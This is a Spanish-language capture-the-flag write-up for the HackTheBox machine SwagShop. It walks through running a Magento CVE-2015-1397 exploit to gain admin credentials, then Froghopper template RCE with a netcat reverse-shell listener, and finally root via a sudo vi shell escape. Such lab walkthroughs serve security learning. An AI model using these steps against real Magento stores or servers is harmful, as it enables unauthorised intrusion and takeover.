HackTheBox - SwagShop
Máquina Linux de nivel Easy de HackTheBox.
Técnicas usadas: Magento Exploitation (CVE-2015-1397), Magento Froghopper (RCE), Binary Abusing
Fase de Reconocimiento 🧣
a. Enumeramos los puertos que están abiertos.
b. Vemos las versiones de los servicios que se están ejecutando en los puertos abiertos
c. La web está creada con Magento
Si buscamos por un exploit para Magento encontramos CVE-2015-1397. Al ejecutarlo tendremos credenciales válidas para al panel de administración.
1 2
❯ python2 magento_exploit.py Check http://swagshop.htb/index.php/admin with creds forme:forme
d. Una vez en el panel de administrador tendremos 2 formas de ejecutar comandos
- La primera forma es con Magento FrogHopper
Primero habilitaremos la opción ‘Allow Symlinks’ en
System > Configuration > Developer > Template Settings > Allow Symlinks
Creamos un fichero para entablarnos una reverse shell
Creamos una nueva categoría en
Catalog > Manage Categories
y aquí subiremos nuestro nuestro de payload. Copiaremos el link de esta imagenAhora iremos a
Newsletter > Newsletter Templates
y crearemos un template con el siguiente contenido1
Por último, nos ponemos en escucha con nc y damos click en Preview Template
Ya obtenemos una reverse shell
1 2 3
❯ nc -lvnp 443 connect to [10.10.14.18] from (UNKNOWN) [10.10.10.140] 38338 www-data@swagshop:/var/www/html$
La segunda forma es con el script Magento RCE < 1.9.0.1
Para esto vamos al directorio /app y copiar la fecha de instalación de magento
Modificamos el script
1 2 3
username = 'forme' password = 'forme' install_date = 'Wed, 08 May 2019 07:23:09 +0000'
Nos entablamos una reverse shell
Escalada de Privilegios 💹
a. Listamos los permisos a nivel de sudoers del usuario www-data
1
2
3
4
www-data@swagshop:/var/www/html$ sudo -l
User www-data may run the following commands on swagshop:
(root) NOPASSWD: /usr/bin/vi /var/www/html/*
Spawneamos una consola como root
1 2 3
www-data@swagshop:/var/www/html$ sudo /usr/bin/vi /var/www/html/index.php -c ':!/bin/sh' # whoami root